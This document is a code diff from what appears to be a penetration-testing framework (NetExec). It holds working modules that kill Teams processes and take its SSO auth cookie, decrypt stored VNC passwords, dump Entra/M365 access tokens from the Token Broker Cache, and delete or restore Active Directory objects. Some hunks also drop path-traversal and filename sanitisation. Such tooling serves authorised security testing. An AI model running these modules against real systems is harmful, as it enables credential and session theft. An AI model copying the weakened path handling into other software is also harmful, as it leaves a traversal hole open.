if Path(self.output_folder).resolve() not in resolved.parents:
raise ValueError(f"Path traversal detected in {remote_file!s}")
raw_path = PurePosixPath(remote_file._RemoteFile__share, remote_file._RemoteFile__fileName.replace("\\", "/"))
self.logger.debug(f"Raw path: {remote_file}")
clean_parts = [p for p in raw_path.parts if p not in ("..", ".")]
resolved = Path(self.output_folder).joinpath(self.host, *clean_parts)
self.logger.debug(f"Resolved path: {resolved}")
return str(resolved.parent), resolved.name
@@ -309,12 +306,7 @@ class SMBSpiderPlus:
return
# Check if the file is already downloaded and up-to-date.
try:
file_dir, file_name = self.get_file_save_path(remote_file)
except ValueError as e:
self.logger.fail(str(e))
self.stats["num_get_fail"] += 1
return
file_dir, file_name = self.get_file_save_path(remote_file)
download_path = join(file_dir, file_name)
needs_update_flag = False
if exists(download_path):
@@ -330,12 +322,12 @@ class SMBSpiderPlus:
try:
self.logger.info(f'Downloading file "{file_path}" => "{download_path}".')
remote_file.open_file()
self.save_file(remote_file, share_name, download_path)
self.save_file(remote_file, share_name)
remote_file.close()
download_success = True
except SessionError as e:
if "STATUS_SHARING_VIOLATION" in str(e):
self.logger.debug(f"Sharing violation while downloading file: {file_path}")
pass
except Exception as e:
self.logger.fail(f'Failed to download file "{file_path}". Error: {e!s}')
@@ -347,7 +339,7 @@ class SMBSpiderPlus:
else:
self.stats["num_get_fail"] += 1
def save_file(self, remote_file, share_name, download_path):
def save_file(self, remote_file, share_name):
"""Reads the `remote_file` in chunks using the `read_chunk` method.
Each chunk is then written to the local file until the entire file is saved.
@@ -356,9 +348,12 @@ class SMBSpiderPlus:
# Reset the remote_file to point to the beginning of the file.
remote_file.seek(0, 0)
folder, filename = self.get_file_save_path(remote_file)
download_path = join(folder, filename)
# Create the subdirectories based on the share name and file path.
self.logger.debug(f"Creating folder '{Path(download_path).parent}'")
make_dirs(Path(download_path).parent)
self.logger.debug(f"Creating folder '{folder}'")
make_dirs(folder)
try:
with open(download_path, "wb") as fd:
+28 -14
View File
@@ -1,6 +1,6 @@
# https://raw.githubusercontent.com/SecureAuthCorp/impacket/master/examples/rpcdump.py
from impacket import uuid
from impacket.dcerpc.v5 import epm
from impacket.dcerpc.v5 import transport, epm
from impacket.dcerpc.v5.rpch import (
RPC_PROXY_INVALID_RPC_PORT_ERR,
RPC_PROXY_CONN_A1_0X6BA_ERR,
@@ -9,7 +9,11 @@ from impacket.dcerpc.v5.rpch import (
)
from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_GSS_NEGOTIATE
from nxc.helpers.misc import CATEGORY
from nxc.helpers.rpc import NXCRPCConnection
KNOWN_PROTOCOLS = {
135: {"bindstr": r"ncacn_ip_tcp:%s[135]"},
445: {"bindstr": r"ncacn_np:%s[\pipe\epmapper]"},
}
class NXCModule:
@@ -37,20 +41,21 @@ class NXCModule:
def on_login(self, context, connection):
entries = []
lmhash = getattr(connection, "lmhash", "")
nthash = getattr(connection, "nthash", "")
self.__stringbinding = KNOWN_PROTOCOLS[self.port]["bindstr"] % connection.host
context.log.debug(f"StringBinding {self.__stringbinding}")
rpctransport = transport.DCERPCTransportFactory(self.__stringbinding)
rpctransport.set_credentials(connection.username, connection.password, connection.domain, lmhash, nthash)
rpctransport.setRemoteHost(connection.host)
rpctransport.set_dport(self.port)
if connection.kerberos:
rpctransport.set_kerberos(connection.kerberos, connection.kdcHost)
use_tcp = self.port == 135
try:
rpc = NXCRPCConnection(connection, force_tcp=use_tcp)
if use_tcp:
rpc.rpc_transport = rpc.create_tcp_transport(target_ip=connection.host)
else:
rpc.rpc_transport = rpc.create_smb_transport(r"\epmapper")
dce = rpc.rpc_transport.get_dce_rpc()
if connection.kerberos:
dce.set_auth_type(RPC_C_AUTHN_GSS_NEGOTIATE)
dce.connect()
entries = list(epm.hept_lookup(None, dce=dce))
dce.disconnect()
entries = self.__fetch_list(connection.kerberos, rpctransport)
except Exception as e:
error_text = f"Protocol failed: {e}"
context.log.critical(error_text)
@@ -107,3 +112,12 @@ class NXCModule:
context.log.debug(f"[Spooler] Received {num} endpoints")
else:
context.log.debug("[Spooler] No endpoints found")
def __fetch_list(self, doKerberos, rpctransport):
dce = rpctransport.get_dce_rpc()
if doKerberos:
dce.set_auth_type(RPC_C_AUTHN_GSS_NEGOTIATE)
dce.connect()
resp = epm.hept_lookup(None, dce=dce)
dce.disconnect()
return resp
+4 -8
View File
@@ -6,18 +6,16 @@ from os.path import abspath, join
class NXCModule:
name = "teams_localdb"
description = "Retrieves the cleartext ssoauthcookie from the local Microsoft Teams database"
description = "Retrieves the cleartext ssoauthcookie from the local Microsoft Teams database, if teams is open we kill all Teams process"
supported_protocols = ["smb"]
category = CATEGORY.CREDENTIAL_DUMPING
def options(self, context, module_options):
"""KILL Kill all Teams processes before retrieving the Cookies database. Default: False"""
self.kill = module_options.get("KILL", "false").lower() == "true"
"""No options available"""
def on_admin_login(self, context, connection):
if self.kill:
context.log.display("Killing all Teams processes to open the cookie file")
connection.execute("taskkill /F /T /IM teams.exe")
context.log.display("Killing all Teams process to open the cookie file")
connection.execute("taskkill /F /T /IM teams.exe")
found = 0
paths = connection.spider("C$", folder="Users", regex=["[a-zA-Z0-9]*"], depth=0)
with open(abspath(join(TMP_PATH, "teams_cookies2.txt")), "wb") as f:
@@ -35,8 +33,6 @@ class NXCModule:
context.log.debug(str(e))
context.log.highlight("Found Cookie file in path " + path)
context.log.fail("Cannot retrieve file, most likely Teams is running which prevents us from retrieving the Cookies database")
if not self.kill:
context.log.display("Use -o KILL=True to terminate Teams before retrieving the Cookies database")
if found == 0:
context.log.display("No cookie file found in Users folder")
+1 -1
View File
@@ -97,7 +97,7 @@ class NXCModule:
if ready:
reply = sock.recvfrom(120)[0]
# Extract RID, hash and "salt" if successful.
# Extract RID, hash and "salt" if succesful.
if len(reply) == 68:
salt = reply[:48]
answer_rid = unpack("<I", reply[-20:-16])[0] ^ keyflag
-134
View File
@@ -1,134 +0,0 @@
from impacket.ldap.ldap import LDAPSessionError, MODIFY_DELETE, MODIFY_REPLACE
from impacket.ldap.ldapasn1 import Control, SimplePagedResultsControl
from nxc.helpers.misc import CATEGORY
from nxc.parsers.ldap_results import parse_result_attributes
class NXCModule:
"""Module by Fabrizzio: @Fabrizzio53"""
name = "tombstone"
description = "Query, restore and delete AD objects"
supported_protocols = ["ldap"]
category = CATEGORY.ENUMERATION
def options(self, context, module_options):
"""
ACTION Specify the action to execute: query, restore or delete. Default is query.
ID The id of which object you want to restore.
DN The DN of which object you want to delete.
Usage:
nxc ldap $DC-IP -u Username -p Password -M tombstone
nxc ldap $DC-IP -u Username -p Password -M tombstone -o ACTION=query
nxc ldap $DC-IP -u Username -p Password -M tombstone -o ACTION=restore ID=5ad162c9-97b1-4a90-a17c-5c2aedb7d1e3
nxc ldap $DC-IP -u Username -p Password -M tombstone -o ACTION=delete DN="CN=test,OU=Users,DC=test,DC=local"
"""
self.action = module_options.get("ACTION", "query").lower()
self.id = module_options.get("ID", "")
self.delete_dn = module_options.get("DN", "")
if self.action == "restore" and not self.id:
context.log.fail("ID is necessary when calling tombstone with the restore action")
return False
if self.action == "delete" and not self.delete_dn:
context.log.fail("DN is necessary when calling tombstone with the delete action")
return False
def on_login(self, context, connection):
if self.action == "query":
self.query_deleted_objects(context, connection)
elif self.action == "delete":
self.delete_object(context, connection)
elif self.action == "restore":
self.restore_deleted_object(context, connection)
else:
context.log.fail(f'The action "{self.action}" is not valid, use only one available option (query, restore, delete)')
def show_deleted_control(self):
return Control().setComponents("1.2.840.113556.1.4.417", True)
def search_deleted_objects(self, connection):
return parse_result_attributes(
connection.search(
baseDN=f"CN=Deleted Objects,{connection.baseDN}",
searchFilter="(isDeleted=TRUE)",
attributes=[],
searchControls=[self.show_deleted_control(), SimplePagedResultsControl(criticality=True, size=1000)],
)
)
def restore_deleted_object(self, context, connection):
object_dn = ""
original_dn = ""
context.log.highlight(f"Trying to find object with given id {self.id}")
context.log.debug("Search Filter=(isDeleted=TRUE)")
context.log.highlight("")
for entries in self.search_deleted_objects(connection):
if entries.get("distinguishedName", "").casefold() == f"CN=Deleted Objects,{connection.baseDN}".casefold():
continue
if self.id.casefold() == entries.get("name", "").rsplit(":", 1)[-1].casefold():
context.log.highlight(f"{'sAMAccountName':<20}: {entries.get('sAMAccountName', '')}")
context.log.highlight(f"{'description':<20}: {entries.get('description', '')}")
context.log.highlight(f"{'dn':<20}: {entries.get('distinguishedName', '')}")
context.log.highlight(f"{'ID':<20}: {entries.get('name', '').rsplit(':', 1)[-1]}")
context.log.highlight(f"{'isDeleted':<20}: {entries.get('isDeleted', '')}")
context.log.highlight(f"{'lastKnownParent':<20}: {entries.get('lastKnownParent', '')}")
context.log.highlight("")
object_dn = entries.get("distinguishedName", "")
original_dn = object_dn.rsplit("\\0ADEL:", 1)[0] + "," + entries.get("lastKnownParent", "")
break
if not original_dn:
context.log.fail(f"The object was not found with id {self.id}.")
return False
try:
connection.ldap_connection.modify(dn=object_dn, modifications={"isDeleted": [(MODIFY_DELETE, [])], "distinguishedName": [(MODIFY_REPLACE, [original_dn])]}, controls=[self.show_deleted_control()])
context.log.highlight(f"Success {original_dn} restored")
except LDAPSessionError as e:
context.log.fail(f"Error at trying to recover the object {e}")
return False
def delete_object(self, context, connection):
context.log.highlight(f"Trying to delete {self.delete_dn}")
try:
connection.ldap_connection.delete(dn=self.delete_dn)
context.log.highlight("")
context.log.highlight(f'Success, "{self.delete_dn}" deleted')
except LDAPSessionError as e:
context.log.highlight("")
context.log.fail(f'Error when trying to delete "{self.delete_dn}" {e}')
def query_deleted_objects(self, context, connection):
context.log.debug("Search Filter=(isDeleted=TRUE)")
resp_parsed = self.search_deleted_objects(connection)
if not resp_parsed:
context.log.highlight("Could not find the Deleted Objects container, AD recycle bin might not be active")
return False
resp_parsed = [entries for entries in resp_parsed if entries.get("distinguishedName", "").casefold() != f"CN=Deleted Objects,{connection.baseDN}".casefold()]
if not resp_parsed:
context.log.highlight("No objects are in a tombstone state")
return False
context.log.highlight("")
for entries in resp_parsed:
context.log.highlight(f"{'sAMAccountName':<20}: {entries.get('sAMAccountName', '')}")
context.log.highlight(f"{'description':<20}: {entries.get('description', '')}")
context.log.highlight(f"{'dn':<20}: {entries.get('distinguishedName', '')}")
context.log.highlight(f"{'ID':<20}: {entries.get('name', '').rsplit(':', 1)[-1]}")
context.log.highlight(f"{'isDeleted':<20}: {entries.get('isDeleted', '')}")
context.log.highlight(f"{'lastKnownParent':<20}: {entries.get('lastKnownParent', '')}")
context.log.highlight("")
context.log.highlight(f"Found {len(resp_parsed)} deleted objects")
+2 -3
View File
@@ -3,7 +3,6 @@ from datetime import datetime
from impacket.ldap import ldap, ldapasn1
from impacket.ldap.ldap import LDAPSearchError
from nxc.helpers.misc import CATEGORY
from nxc.helpers.path import sanitize_path_component
from nxc.paths import NXC_PATH
@@ -92,11 +91,11 @@ class NXCModule:
def create_log_file(self, host, time):
"""Create a log file for dumping user descriptions."""
logfile = sanitize_path_component(f"UserDesc-{host}-{time}.log")
logfile = f"UserDesc-{host}-{time}.log"
logfile = Path(NXC_PATH).joinpath(logfile)
self.context.log.info(f"Creating log file '{logfile}'")
self.log_file = open(logfile, "w") # ruff: ignore[open-file-with-context-handler]
self.log_file = open(logfile, "w") # noqa: SIM115
self.append_to_log("User:", "Description:")
def delete_log_file(self):
+102 -41
View File
@@ -1,14 +1,18 @@
import ntpath
import tempfile
from dploot.lib.target import Target
from impacket import winregistry
from impacket.dcerpc.v5 import rrp
from impacket import winregistry
from impacket.examples.secretsdump import RemoteOperations
from impacket.system_errors import ERROR_NO_MORE_ITEMS
from Cryptodome.Cipher import DES
from binascii import unhexlify
import codecs
import re
from nxc.helpers.misc import CATEGORY
from nxc.protocols.smb.dpapi import upgrade_to_dploot_connection
class NXCModule:
@@ -19,7 +23,7 @@ class NXCModule:
name = "vnc"
description = "Loot Passwords from VNC server and client configurations"
supported_protocols = ["smb", "wmi", "winrm"]
supported_protocols = ["smb"]
category = CATEGORY.CREDENTIAL_DUMPING
def __init__(self, context=None, module_options=None):
@@ -45,40 +49,79 @@ class NXCModule:
def on_admin_login(self, context, connection):
self.context = context
self.connection = connection
self.share = self.connection.args.share if hasattr(self.connection.args, "share") else "C$"
self.share = self.connection.args.share
dploot_conn = connection.dpapi_triage.conn
host = connection.host if not connection.kerberos else connection.hostname + "." + connection.domain
domain = connection.domain
username = connection.username
kerberos = connection.kerberos
aesKey = connection.aesKey
use_kcache = getattr(connection, "use_kcache", False)
password = getattr(connection, "password", "")
lmhash = getattr(connection, "lmhash", "")
nthash = getattr(connection, "nthash", "")
target = Target.create(
domain=domain,
username=username,
password=password,
target=host,
lmhash=lmhash,
nthash=nthash,
do_kerberos=kerberos,
aesKey=aesKey,
use_kcache=use_kcache,
)
dploot_conn = upgrade_to_dploot_connection(target=target, connection=connection.conn)
if not self.no_remoteops:
self.vnc_from_registry(dploot_conn)
self.vnc_client_proxyconf_extract(dploot_conn)
remote_ops = RemoteOperations(connection.conn, False)
remote_ops.enableRegistry()
self.vnc_from_registry(remote_ops)
self.vnc_client_proxyconf_extract(dploot_conn, remote_ops)
self.vnc_from_filesystem(dploot_conn)
def vnc_client_proxyconf_extract(self, dploot_conn):
def reg_query_value(self, remote_ops, path, key, hku=False):
if remote_ops._RemoteOperations__rrp:
ans = rrp.hOpenUsers(remote_ops._RemoteOperations__rrp) if hku else rrp.hOpenLocalMachine(remote_ops._RemoteOperations__rrp)
reg_handle = ans["phKey"]
ans = rrp.hBaseRegOpenKey(
remote_ops._RemoteOperations__rrp,
reg_handle,
path,
)
key_handle = ans["phkResult"]
data = None
try:
_, data = rrp.hBaseRegQueryValue(
remote_ops._RemoteOperations__rrp,
key_handle,
key,
)
return data
except rrp.DCERPCSessionError as e:
self.context.log.debug(f"Error while querying registry value for {path} {key}: {e}")
def vnc_client_proxyconf_extract(self, dploot_conn, remote_ops=None):
vnc_client_softwares = [
("RealVNC Viewer 7.x Proxy Conf", "Software\\RealVNC\\vncviewer", ["ProxyUserName", "ProxyPassword", "ProxyServer"]),
]
users = self.get_users(dploot_conn)
if dploot_conn.target.protocol != "smb":
self.context.log.warn("Downloading NTUSER.DAT for offline users, will be slow")
users = self.get_users(remote_ops)
for user, sid in users.items():
ntuser_dat_path = ntpath.join(f"Users\\{user}\\NTUSER.DAT")
try:
ntuser_dat_bytes = dploot_conn.read_file(share=self.share, path=ntuser_dat_path)
ntuser_dat_bytes = dploot_conn.readFile(self.share, ntuser_dat_path)
except Exception as e:
self.context.log.debug(f"Error while getting NTUSER.DAT file for {user}: {e}")
for vnc_name, registry_path, registry_keys in vnc_client_softwares:
cred = {}
if ntuser_dat_bytes is None:
if ntuser_dat_bytes is None and remote_ops is not None:
user_registry_path = ntpath.join(sid, registry_path)
try:
password = dploot_conn.reg_get_key_value("HKU", user_registry_path, registry_keys[1])
if password is None:
continue
password = password.encode().rstrip(b"\x00").decode()
password = self.reg_query_value(remote_ops, user_registry_path, registry_keys[1], hku=True).encode().rstrip(b"\x00").decode()
cred["password"] = self.recover_vncpassword(unhexlify(password)).decode("latin-1")
cred["server"] = dploot_conn.reg_get_key_value("HKU", user_registry_path, registry_keys[2])
cred["user"] = dploot_conn.reg_get_key_value("HKU", user_registry_path, registry_keys[0])
cred["server"] = self.reg_query_value(remote_ops, user_registry_path, registry_keys[2], hku=True)
cred["user"] = self.reg_query_value(remote_ops, user_registry_path, registry_keys[0], hku=True)
except Exception as e:
if "ERROR_FILE_NOT_FOUND" not in str(e):
self.context.log.debug(f"Error while RegQueryValues {registry_keys} from {user_registry_path}: {e}")
@@ -96,9 +139,9 @@ class NXCModule:
cred["password"] = self.recover_vncpassword(unhexlify(password)).decode("latin-1")
cred["server"] = reg.getValue(ntpath.join(registry_path, registry_keys[2]))[1].decode("latin-1")
self.connection.dpapi_triage.log_secret(f"[{vnc_name}] {cred['user']}:{cred['password']}@{cred['server']}", self.context.log)
self.context.log.highlight(f"[{vnc_name}] {cred['user']}:{cred['password']}@{cred['server']}")
def vnc_from_registry(self, dpapi_conn):
def vnc_from_registry(self, remote_ops):
vncs = (
("RealVNC 4.x", "SOFTWARE\\Wow6432Node\\RealVNC\\WinVNC4", "Password"),
("RealVNC 3.x", "SOFTWARE\\RealVNC\\vncserver", "Password"),
@@ -109,12 +152,10 @@ class NXCModule:
)
for vnc_name, path, key in vncs:
try:
value = dpapi_conn.reg_get_key_value("HKLM", path, key)
except rrp.DCERPCSessionError as e:
if "ERROR_FILE_NOT_FOUND" in str(e):
self.context.log.debug(f"Could not find {path}\\{key}, likely not installed: {e}")
else:
self.context.log.fail(f"Error while RegQueryValue {path}\\{key}: {e}")
value = self.reg_query_value(remote_ops, path, key)
except Exception as e:
if "ERROR_FILE_NOT_FOUND" not in str(e):
self.context.log.debug(f"Error while RegQueryValue {path}\\{key}: {e}")
continue
if value is None:
continue
@@ -122,7 +163,7 @@ class NXCModule:
password = self.recover_vncpassword(value)
if password is None:
continue
self.connection.dpapi_triage.log_secret(f"[{vnc_name}] Password: {password.decode('latin-1')}", self.context.log)
self.context.log.highlight(f"[{vnc_name}] Password: {password.decode('latin-1')}")
vnc_users = (
("RealVNC Viewer 7.x", "HKCU\\Software\\RealVNC\\vncviewer", "ProxyUserName", "ProxyPassword", "ProxyServer"),
@@ -130,10 +171,7 @@ class NXCModule:
for vnc_name, path, user, password, server in vnc_users:
cred = {}
try:
value = dpapi_conn.reg_get_key_value("HKLM", path, password)
if value is None:
continue
value = value.encode().rstrip(b"\x00").decode()
value = self.reg_query_value(remote_ops, path, password).encode().rstrip(b"\x00").decode()
value = unhexlify(value)
except Exception as e:
if "ERROR_FILE_NOT_FOUND" not in str(e):
@@ -143,13 +181,13 @@ class NXCModule:
continue
cred["password"] = self.recover_vncpassword(value).decode()
try:
cred["server"] = dpapi_conn.reg_get_key_value("HKLM", path, server)
cred["user"] = dpapi_conn.reg_get_key_value("HKLM", path, user)
cred["server"] = self.reg_query_value(remote_ops, path, server)
cred["user"] = self.reg_query_value(remote_ops, path, user)
except Exception as e:
if "ERROR_FILE_NOT_FOUND" not in str(e):
self.context.log.debug(f"Error while RegQueryValue {path}\\{user}: {e}")
continue
self.connection.dpapi_triage.log_secret(f"[{vnc_name}] {cred['user']}:{cred['password']}@{cred['server']}", self.context.log)
self.context.log.highlight(f"[{vnc_name}] {cred['user']}:{cred['password']}@{cred['server']}")
def split_len(self, seq, length):
return [seq[i:i + length] for i in range(0, len(seq), length)]
@@ -192,8 +230,8 @@ class NXCModule:
("UltraVNC", "Program Files (x86)\\UltraVNC\\ultravnc.ini"),
)
for vnc_name, filepath in vncs:
file_content = dploot_conn.read_file(share=self.share, path=filepath)
for vnc_name, file in vncs:
file_content = dploot_conn.readFile(self.share, file)
if file_content is not None:
regex_passwd = [rb"passwd=[0-9A-F]+", rb"passwd2=[0-9A-F]+"]
for regex in regex_passwd:
@@ -201,16 +239,39 @@ class NXCModule:
for passwd_encrypted in passwds_encrypted:
passwd_encrypted = passwd_encrypted.split(b"=")[-1]
password = self.recover_vncpassword(unhexlify(passwd_encrypted))[:8]
self.connection.dpapi_triage.log_secret(f"[{vnc_name}] Password: {password.decode('latin-1')}", self.context.log)
self.context.log.highlight(f"[{vnc_name}] Password: {password.decode('latin-1')}")
def get_users(self, conn):
users = {}
userlist_key = "SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\ProfileList"
for sid in conn.reg_enum_key("HKLM", userlist_key):
profile_path = conn.reg_get_key_value("HKLM", f"{userlist_key}\\{sid}", "ProfileImagePath")
if "C:\\Users" not in profile_path:
ans = rrp.hOpenLocalMachine(conn._RemoteOperations__rrp)
regHandle = ans["phKey"]
ans = rrp.hBaseRegOpenKey(conn._RemoteOperations__rrp, regHandle, userlist_key, samDesired=rrp.MAXIMUM_ALLOWED | rrp.KEY_ENUMERATE_SUB_KEYS | rrp.KEY_QUERY_VALUE)
keyHandle = ans["phkResult"]
sids = []
i = 0
while True:
try:
ans2 = rrp.hBaseRegEnumKey(conn._RemoteOperations__rrp, keyHandle, i)
sids.append(ans2["lpNameOut"])
except rrp.DCERPCSessionError as e:
if e.get_error_code() == ERROR_NO_MORE_ITEMS:
break
except Exception as e:
self.context.debug(f"Error while listing users from HKU: {e}")
i += 1
rrp.hBaseRegCloseKey(conn._RemoteOperations__rrp, keyHandle)
for sid in sids:
ans = rrp.hBaseRegOpenKey(conn._RemoteOperations__rrp, regHandle, ntpath.join(userlist_key, sid), samDesired=rrp.MAXIMUM_ALLOWED | rrp.KEY_ENUMERATE_SUB_KEYS | rrp.KEY_QUERY_VALUE)
keyHandle = ans["phkResult"]
_, profile_path = rrp.hBaseRegQueryValue(conn._RemoteOperations__rrp, keyHandle, "ProfileImagePath")
if r"%systemroot%" in profile_path:
continue
users[ntpath.basename(profile_path).rstrip("\0")] = sid.rstrip("\0")
users[ntpath.basename(profile_path.rstrip("\0"))] = sid.rstrip("\0")
rrp.hBaseRegCloseKey(conn._RemoteOperations__rrp, keyHandle)
return users
+34 -12
View File
@@ -1,45 +1,67 @@
import re
import json
from base64 import urlsafe_b64decode
import jwt
from dploot.triage.wam import WamTriage
from dploot.lib.target import Target
from nxc.helpers.logger import highlight
from nxc.helpers.misc import CATEGORY
from nxc.protocols.smb.dpapi import collect_masterkeys_from_target, get_domain_backup_key, upgrade_to_dploot_connection
class NXCModule:
name = "wam"
description = "Dump access token from Token Broker Cache. More info here https://blog.xpnsec.com/wam-bam/. Module by zblurx"
supported_protocols = ["smb", "wmi", "winrm", "mssql"]
supported_protocols = ["smb"]
category = CATEGORY.CREDENTIAL_DUMPING
def options(self, context, module_options):
"""No options available"""
def on_admin_login(self, context, connection):
self.masterkeys = connection.dpapi_triage.collect_masterkeys_from_target(dump_users=True, dump_system=False)
username = connection.username
password = getattr(connection, "password", "")
nthash = getattr(connection, "nthash", "")
self.pvkbytes = get_domain_backup_key(connection)
target = Target.create(
domain=connection.domain,
username=username,
password=password,
target=connection.host if not connection.kerberos else connection.hostname + "." + connection.domain,
lmhash=getattr(connection, "lmhash", ""),
nthash=nthash,
do_kerberos=connection.kerberos,
aesKey=connection.aesKey,
no_pass=True,
use_kcache=getattr(connection, "use_kcache", False),
)
conn = upgrade_to_dploot_connection(connection=connection.conn, target=target)
if conn is None:
context.log.debug("Could not upgrade connection")
return
self.masterkeys = collect_masterkeys_from_target(connection, target, conn, system=False)
if len(self.masterkeys) == 0:
context.log.fail("No masterkeys looted")
return
context.log.success("Looting Token Broker Cache access tokens")
context.log.success(f"Got {highlight(len(self.masterkeys))} decrypted masterkeys. Looting Token Broker Cache access tokens")
def token_callback(token):
for attrib in token.attribs:
if attrib["Key"].decode() == "WTRes_Token":
# Extract every access token
for access_token in re.findall(r"e[yw][A-Za-z0-9-_]+\.(?:e[yw][A-Za-z0-9-_]+)?\.[A-Za-z0-9-_]{2,}(?:(?:\.[A-Za-z0-9-_]{2,}){2})?", attrib.__str__()):
try:
decoded_token = json.loads(urlsafe_b64decode(access_token.split(".")[1] + "=="))
except ValueError:
context.log.fail(f"[{token.winuser}] Could not decode the token payload (JWE or malformed): {access_token}")
continue
decoded_token = jwt.decode(access_token, options={"verify_signature": False})
if "preferred_username" in decoded_token:
# Assuming that if there is no preferred_username key, this is not a valid Entra/M365 Access Token
connection.dpapi_triage.log_secret(f"[{token.winuser}] {decoded_token['preferred_username']}: {access_token}", context.log)
context.log.highlight(f"[{token.winuser}] {decoded_token['preferred_username']}: {access_token}")
try:
triage = WamTriage(target=connection.dpapi_triage.target, conn=connection.dpapi_triage.conn, masterkeys=self.masterkeys, per_token_callback=token_callback)
triage = WamTriage(target=target, conn=conn, masterkeys=self.masterkeys, per_token_callback=token_callback)
triage.triage_wam()
except Exception as e:
context.log.debug(f"Could not loot access tokens: {e}")
Loaded 100 of 164 files, more files were not shown because too many files have changed in this diff. Show more